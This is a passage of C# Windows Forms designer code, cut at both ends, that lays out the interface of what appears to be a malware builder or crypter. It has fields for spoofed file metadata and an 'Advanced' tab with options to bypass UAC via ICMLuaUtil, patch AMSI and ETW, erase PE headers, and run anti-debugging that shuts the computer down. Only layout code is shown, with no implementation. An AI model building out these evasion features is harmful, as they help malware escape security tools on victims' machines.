System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.productGuna2TextBox.Font = new System.Drawing.Font("Segoe UI", 9F); this.productGuna2TextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.productGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.productGuna2TextBox.Location = new System.Drawing.Point(172, 81); this.productGuna2TextBox.Name = "productGuna2TextBox"; this.productGuna2TextBox.PasswordChar = '\0'; this.productGuna2TextBox.PlaceholderForeColor = System.Drawing.Color.Gainsboro; this.productGuna2TextBox.PlaceholderText = "..."; this.productGuna2TextBox.SelectedText = ""; this.productGuna2TextBox.Size = new System.Drawing.Size(244, 36); this.productGuna2TextBox.TabIndex = 29; // // productVersionGuna2TextBox // this.productVersionGuna2TextBox.Anchor = System.Windows.Forms.AnchorStyles.None; this.productVersionGuna2TextBox.Animated = true; this.productVersionGuna2TextBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.productVersionGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam; this.productVersionGuna2TextBox.DefaultText = ""; this.productVersionGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208))))); this.productVersionGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226))))); this.productVersionGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.productVersionGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.productVersionGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.productVersionGuna2TextBox.Font = new System.Drawing.Font("Segoe UI", 9F); this.productVersionGuna2TextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.productVersionGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.productVersionGuna2TextBox.Location = new System.Drawing.Point(539, 165); this.productVersionGuna2TextBox.Name = "productVersionGuna2TextBox"; this.productVersionGuna2TextBox.PasswordChar = '\0'; this.productVersionGuna2TextBox.PlaceholderForeColor = System.Drawing.Color.Gainsboro; this.productVersionGuna2TextBox.PlaceholderText = "..."; this.productVersionGuna2TextBox.SelectedText = ""; this.productVersionGuna2TextBox.Size = new System.Drawing.Size(244, 36); this.productVersionGuna2TextBox.TabIndex = 43; // // label13 // this.label13.Anchor = System.Windows.Forms.AnchorStyles.None; this.label13.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.label13.Location = new System.Drawing.Point(428, 165); this.label13.Name = "label13"; this.label13.Size = new System.Drawing.Size(105, 36); this.label13.TabIndex = 44; this.label13.Text = "Product version :"; this.label13.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // filenameGuna2TextBox // this.filenameGuna2TextBox.Anchor = System.Windows.Forms.AnchorStyles.None; this.filenameGuna2TextBox.Animated = true; this.filenameGuna2TextBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.filenameGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam; this.filenameGuna2TextBox.DefaultText = ""; this.filenameGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208))))); this.filenameGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226))))); this.filenameGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.filenameGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.filenameGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.filenameGuna2TextBox.Font = new System.Drawing.Font("Segoe UI", 9F); this.filenameGuna2TextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.filenameGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.filenameGuna2TextBox.Location = new System.Drawing.Point(539, 123); this.filenameGuna2TextBox.Name = "filenameGuna2TextBox"; this.filenameGuna2TextBox.PasswordChar = '\0'; this.filenameGuna2TextBox.PlaceholderForeColor = System.Drawing.Color.Gainsboro; this.filenameGuna2TextBox.PlaceholderText = "..."; this.filenameGuna2TextBox.SelectedText = ""; this.filenameGuna2TextBox.Size = new System.Drawing.Size(244, 36); this.filenameGuna2TextBox.TabIndex = 39; // // label12 // this.label12.Anchor = System.Windows.Forms.AnchorStyles.None; this.label12.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.label12.Location = new System.Drawing.Point(428, 123); this.label12.Name = "label12"; this.label12.Size = new System.Drawing.Size(105, 36); this.label12.TabIndex = 41; this.label12.Text = "Original filename :"; this.label12.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // fileVersionGuna2TextBox // this.fileVersionGuna2TextBox.Anchor = System.Windows.Forms.AnchorStyles.None; this.fileVersionGuna2TextBox.Animated = true; this.fileVersionGuna2TextBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.fileVersionGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam; this.fileVersionGuna2TextBox.DefaultText = ""; this.fileVersionGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208))))); this.fileVersionGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226))))); this.fileVersionGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.fileVersionGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.fileVersionGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.fileVersionGuna2TextBox.Font = new System.Drawing.Font("Segoe UI", 9F); this.fileVersionGuna2TextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.fileVersionGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.fileVersionGuna2TextBox.Location = new System.Drawing.Point(539, 208); this.fileVersionGuna2TextBox.Name = "fileVersionGuna2TextBox"; this.fileVersionGuna2TextBox.PasswordChar = '\0'; this.fileVersionGuna2TextBox.PlaceholderForeColor = System.Drawing.Color.Gainsboro; this.fileVersionGuna2TextBox.PlaceholderText = "..."; this.fileVersionGuna2TextBox.SelectedText = ""; this.fileVersionGuna2TextBox.Size = new System.Drawing.Size(244, 36); this.fileVersionGuna2TextBox.TabIndex = 40; // // label11 // this.label11.Anchor = System.Windows.Forms.AnchorStyles.None; this.label11.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.label11.Location = new System.Drawing.Point(429, 208); this.label11.Name = "label11"; this.label11.Size = new System.Drawing.Size(105, 36); this.label11.TabIndex = 42; this.label11.Text = "File version : "; this.label11.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // copyrightGuna2TextBox // this.copyrightGuna2TextBox.Anchor = System.Windows.Forms.AnchorStyles.None; this.copyrightGuna2TextBox.Animated = true; this.copyrightGuna2TextBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.copyrightGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam; this.copyrightGuna2TextBox.DefaultText = ""; this.copyrightGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208))))); this.copyrightGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226))))); this.copyrightGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.copyrightGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.copyrightGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.copyrightGuna2TextBox.Font = new System.Drawing.Font("Segoe UI", 9F); this.copyrightGuna2TextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.copyrightGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.copyrightGuna2TextBox.Location = new System.Drawing.Point(173, 208); this.copyrightGuna2TextBox.Name = "copyrightGuna2TextBox"; this.copyrightGuna2TextBox.PasswordChar = '\0'; this.copyrightGuna2TextBox.PlaceholderForeColor = System.Drawing.Color.Gainsboro; this.copyrightGuna2TextBox.PlaceholderText = "..."; this.copyrightGuna2TextBox.SelectedText = ""; this.copyrightGuna2TextBox.Size = new System.Drawing.Size(243, 36); this.copyrightGuna2TextBox.TabIndex = 37; // // label10 // this.label10.Anchor = System.Windows.Forms.AnchorStyles.None; this.label10.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.label10.Location = new System.Drawing.Point(94, 207); this.label10.Name = "label10"; this.label10.Size = new System.Drawing.Size(105, 36); this.label10.TabIndex = 38; this.label10.Text = "Copyright :"; this.label10.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // companyGuna2TextBox // this.companyGuna2TextBox.Anchor = System.Windows.Forms.AnchorStyles.None; this.companyGuna2TextBox.Animated = true; this.companyGuna2TextBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.companyGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam; this.companyGuna2TextBox.DefaultText = ""; this.companyGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208))))); this.companyGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226))))); this.companyGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.companyGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.companyGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.companyGuna2TextBox.Font = new System.Drawing.Font("Segoe UI", 9F); this.companyGuna2TextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.companyGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.companyGuna2TextBox.Location = new System.Drawing.Point(172, 165); this.companyGuna2TextBox.Name = "companyGuna2TextBox"; this.companyGuna2TextBox.PasswordChar = '\0'; this.companyGuna2TextBox.PlaceholderForeColor = System.Drawing.Color.Gainsboro; this.companyGuna2TextBox.PlaceholderText = "..."; this.companyGuna2TextBox.SelectedText = ""; this.companyGuna2TextBox.Size = new System.Drawing.Size(244, 36); this.companyGuna2TextBox.TabIndex = 35; // // label9 // this.label9.Anchor = System.Windows.Forms.AnchorStyles.None; this.label9.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.label9.Location = new System.Drawing.Point(94, 165); this.label9.Name = "label9"; this.label9.Size = new System.Drawing.Size(105, 36); this.label9.TabIndex = 36; this.label9.Text = "Company :"; this.label9.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // descriptionGuna2TextBox // this.descriptionGuna2TextBox.Anchor = System.Windows.Forms.AnchorStyles.None; this.descriptionGuna2TextBox.Animated = true; this.descriptionGuna2TextBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.descriptionGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam; this.descriptionGuna2TextBox.DefaultText = ""; this.descriptionGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208))))); this.descriptionGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226))))); this.descriptionGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.descriptionGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.descriptionGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.descriptionGuna2TextBox.Font = new System.Drawing.Font("Segoe UI", 9F); this.descriptionGuna2TextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.descriptionGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.descriptionGuna2TextBox.Location = new System.Drawing.Point(172, 123); this.descriptionGuna2TextBox.Name = "descriptionGuna2TextBox"; this.descriptionGuna2TextBox.PasswordChar = '\0'; this.descriptionGuna2TextBox.PlaceholderForeColor = System.Drawing.Color.Gainsboro; this.descriptionGuna2TextBox.PlaceholderText = "..."; this.descriptionGuna2TextBox.SelectedText = ""; this.descriptionGuna2TextBox.Size = new System.Drawing.Size(244, 36); this.descriptionGuna2TextBox.TabIndex = 33; // // label8 // this.label8.Anchor = System.Windows.Forms.AnchorStyles.None; this.label8.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.label8.Location = new System.Drawing.Point(94, 123); this.label8.Name = "label8"; this.label8.Size = new System.Drawing.Size(105, 36); this.label8.TabIndex = 34; this.label8.Text = "Description :"; this.label8.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // trademarksGuna2TextBox // this.trademarksGuna2TextBox.Anchor = System.Windows.Forms.AnchorStyles.None; this.trademarksGuna2TextBox.Animated = true; this.trademarksGuna2TextBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.trademarksGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam; this.trademarksGuna2TextBox.DefaultText = ""; this.trademarksGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208))))); this.trademarksGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226))))); this.trademarksGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.trademarksGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.trademarksGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.trademarksGuna2TextBox.Font = new System.Drawing.Font("Segoe UI", 9F); this.trademarksGuna2TextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.trademarksGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.trademarksGuna2TextBox.Location = new System.Drawing.Point(539, 81); this.trademarksGuna2TextBox.Name = "trademarksGuna2TextBox"; this.trademarksGuna2TextBox.PasswordChar = '\0'; this.trademarksGuna2TextBox.PlaceholderForeColor = System.Drawing.Color.Gainsboro; this.trademarksGuna2TextBox.PlaceholderText = "..."; this.trademarksGuna2TextBox.SelectedText = ""; this.trademarksGuna2TextBox.Size = new System.Drawing.Size(244, 36); this.trademarksGuna2TextBox.TabIndex = 31; // // label7 // this.label7.Anchor = System.Windows.Forms.AnchorStyles.None; this.label7.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.label7.Location = new System.Drawing.Point(428, 81); this.label7.Name = "label7"; this.label7.Size = new System.Drawing.Size(105, 36); this.label7.TabIndex = 32; this.label7.Text = "Trademarks :"; this.label7.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label14 // this.label14.Anchor = System.Windows.Forms.AnchorStyles.None; this.label14.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.label14.Location = new System.Drawing.Point(94, 81); this.label14.Name = "label14"; this.label14.Size = new System.Drawing.Size(105, 36); this.label14.TabIndex = 30; this.label14.Text = "Product :"; this.label14.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // tabPage13 // this.tabPage13.Controls.Add(this.guna2GroupBox3); this.tabPage13.Controls.Add(this.label4); this.tabPage13.Location = new System.Drawing.Point(4, 44); this.tabPage13.Name = "tabPage13"; this.tabPage13.Padding = new System.Windows.Forms.Padding(3); this.tabPage13.Size = new System.Drawing.Size(900, 395); this.tabPage13.TabIndex = 4; this.tabPage13.Text = "Advanced"; this.tabPage13.UseVisualStyleBackColor = true; // // guna2GroupBox3 // this.guna2GroupBox3.Anchor = System.Windows.Forms.AnchorStyles.None; this.guna2GroupBox3.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.guna2GroupBox3.BorderThickness = 0; this.guna2GroupBox3.Controls.Add(this.bypassICMLuaUtilGuna2CheckBox); this.guna2GroupBox3.Controls.Add(this.antiDebugGuna2CheckBox); this.guna2GroupBox3.Controls.Add(this.erasePEHeadersGuna2CheckBox); this.guna2GroupBox3.Controls.Add(this.patchAMSIGuna2CheckBox); this.guna2GroupBox3.Controls.Add(this.patchETWGuna2CheckBox); this.guna2GroupBox3.CustomBorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.guna2GroupBox3.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.guna2GroupBox3.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.guna2GroupBox3.Location = new System.Drawing.Point(6, 6); this.guna2GroupBox3.Name = "guna2GroupBox3"; this.guna2GroupBox3.Padding = new System.Windows.Forms.Padding(2, 42, 2, 2); this.guna2GroupBox3.Size = new System.Drawing.Size(254, 169); this.guna2GroupBox3.TabIndex = 32; this.guna2GroupBox3.Text = "Special"; // // bypassICMLuaUtilGuna2CheckBox // this.bypassICMLuaUtilGuna2CheckBox.Anchor = System.Windows.Forms.AnchorStyles.None; this.bypassICMLuaUtilGuna2CheckBox.Animated = true; this.bypassICMLuaUtilGuna2CheckBox.AutoSize = true; this.bypassICMLuaUtilGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.bypassICMLuaUtilGuna2CheckBox.CheckedState.BorderRadius = 0; this.bypassICMLuaUtilGuna2CheckBox.CheckedState.BorderThickness = 0; this.bypassICMLuaUtilGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.bypassICMLuaUtilGuna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.bypassICMLuaUtilGuna2CheckBox.Location = new System.Drawing.Point(0, 147); this.bypassICMLuaUtilGuna2CheckBox.Name = "bypassICMLuaUtilGuna2CheckBox"; this.bypassICMLuaUtilGuna2CheckBox.Size = new System.Drawing.Size(87, 17); this.bypassICMLuaUtilGuna2CheckBox.TabIndex = 34; this.bypassICMLuaUtilGuna2CheckBox.Text = "Bypass UAC"; this.patchToolTip.SetToolTip(this.bypassICMLuaUtilGuna2CheckBox, "This bypass UAC technique use PEB masquerading + ICMLuaUtil."); this.bypassICMLuaUtilGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.bypassICMLuaUtilGuna2CheckBox.UncheckedState.BorderRadius = 0; this.bypassICMLuaUtilGuna2CheckBox.UncheckedState.BorderThickness = 0; this.bypassICMLuaUtilGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); // // antiDebugGuna2CheckBox // this.antiDebugGuna2CheckBox.Anchor = System.Windows.Forms.AnchorStyles.None; this.antiDebugGuna2CheckBox.Animated = true; this.antiDebugGuna2CheckBox.AutoSize = true; this.antiDebugGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.antiDebugGuna2CheckBox.CheckedState.BorderRadius = 0; this.antiDebugGuna2CheckBox.CheckedState.BorderThickness = 0; this.antiDebugGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.antiDebugGuna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.antiDebugGuna2CheckBox.Location = new System.Drawing.Point(0, 111); this.antiDebugGuna2CheckBox.Name = "antiDebugGuna2CheckBox"; this.antiDebugGuna2CheckBox.Size = new System.Drawing.Size(84, 17); this.antiDebugGuna2CheckBox.TabIndex = 33; this.antiDebugGuna2CheckBox.Text = "Anti-Debug"; this.patchToolTip.SetToolTip(this.antiDebugGuna2CheckBox, "This option (if activated) will start a thread checking for debuggers every 10 se" + "c. It will shut down the computer if a debugger is detected."); this.antiDebugGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.antiDebugGuna2CheckBox.UncheckedState.BorderRadius = 0; this.antiDebugGuna2CheckBox.UncheckedState.BorderThickness = 0; this.antiDebugGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); // // erasePEHeadersGuna2CheckBox // this.erasePEHeadersGuna2CheckBox.Anchor = System.Windows.Forms.AnchorStyles.None; this.erasePEHeadersGuna2CheckBox.Animated = true; this.erasePEHeadersGuna2CheckBox.AutoSize = true; this.erasePEHeadersGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.erasePEHeadersGuna2CheckBox.CheckedState.BorderRadius = 0; this.erasePEHeadersGuna2CheckBox.CheckedState.BorderThickness = 0; this.erasePEHeadersGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.erasePEHeadersGuna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.erasePEHeadersGuna2CheckBox.Location = new System.Drawing.Point(0, 78); this.erasePEHeadersGuna2CheckBox.Name = "erasePEHeadersGuna2CheckBox"; this.erasePEHeadersGuna2CheckBox.Size = new System.Drawing.Size(158, 17); this.erasePEHeadersGuna2CheckBox.TabIndex = 32; this.erasePEHeadersGuna2CheckBox.Text = "Erase PE Header from PEB"; this.patchToolTip.SetToolTip(this.erasePEHeadersGuna2CheckBox, "This option (if activated) will replace most of PE Headers fields with random val" + "ues."); this.erasePEHeadersGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.erasePEHeadersGuna2CheckBox.UncheckedState.BorderRadius = 0; this.erasePEHeadersGuna2CheckBox.UncheckedState.BorderThickness = 0; this.erasePEHeadersGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); // // patchAMSIGuna2CheckBox // this.patchAMSIGuna2CheckBox.Anchor = System.Windows.Forms.AnchorStyles.None; this.patchAMSIGuna2CheckBox.Animated = true; this.patchAMSIGuna2CheckBox.AutoSize = true; this.patchAMSIGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.patchAMSIGuna2CheckBox.CheckedState.BorderRadius = 0; this.patchAMSIGuna2CheckBox.CheckedState.BorderThickness = 0; this.patchAMSIGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.patchAMSIGuna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.patchAMSIGuna2CheckBox.Location = new System.Drawing.Point(0, 45); this.patchAMSIGuna2CheckBox.Name = "patchAMSIGuna2CheckBox"; this.patchAMSIGuna2CheckBox.Size = new System.Drawing.Size(82, 17); this.patchAMSIGuna2CheckBox.TabIndex = 30; this.patchAMSIGuna2CheckBox.Text = "Patch AMSI"; this.patchAMSIGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.patchAMSIGuna2CheckBox.UncheckedState.BorderRadius = 0; this.patchAMSIGuna2CheckBox.UncheckedState.BorderThickness = 0; this.patchAMSIGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); // // patchETWGuna2CheckBox // this.patchETWGuna2CheckBox.Anchor = System.Windows.Forms.AnchorStyles.None; this.patchETWGuna2CheckBox.Animated = true; this.patchETWGuna2CheckBox.AutoSize = true; this.patchETWGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.patchETWGuna2CheckBox.CheckedState.BorderRadius = 0; this.patchETWGuna2CheckBox.CheckedState.BorderThickness = 0; this.patchETWGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.patchETWGuna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.patchETWGuna2CheckBox.Location = new System.Drawing.Point(117, 45); this.patchETWGuna2CheckBox.Name = 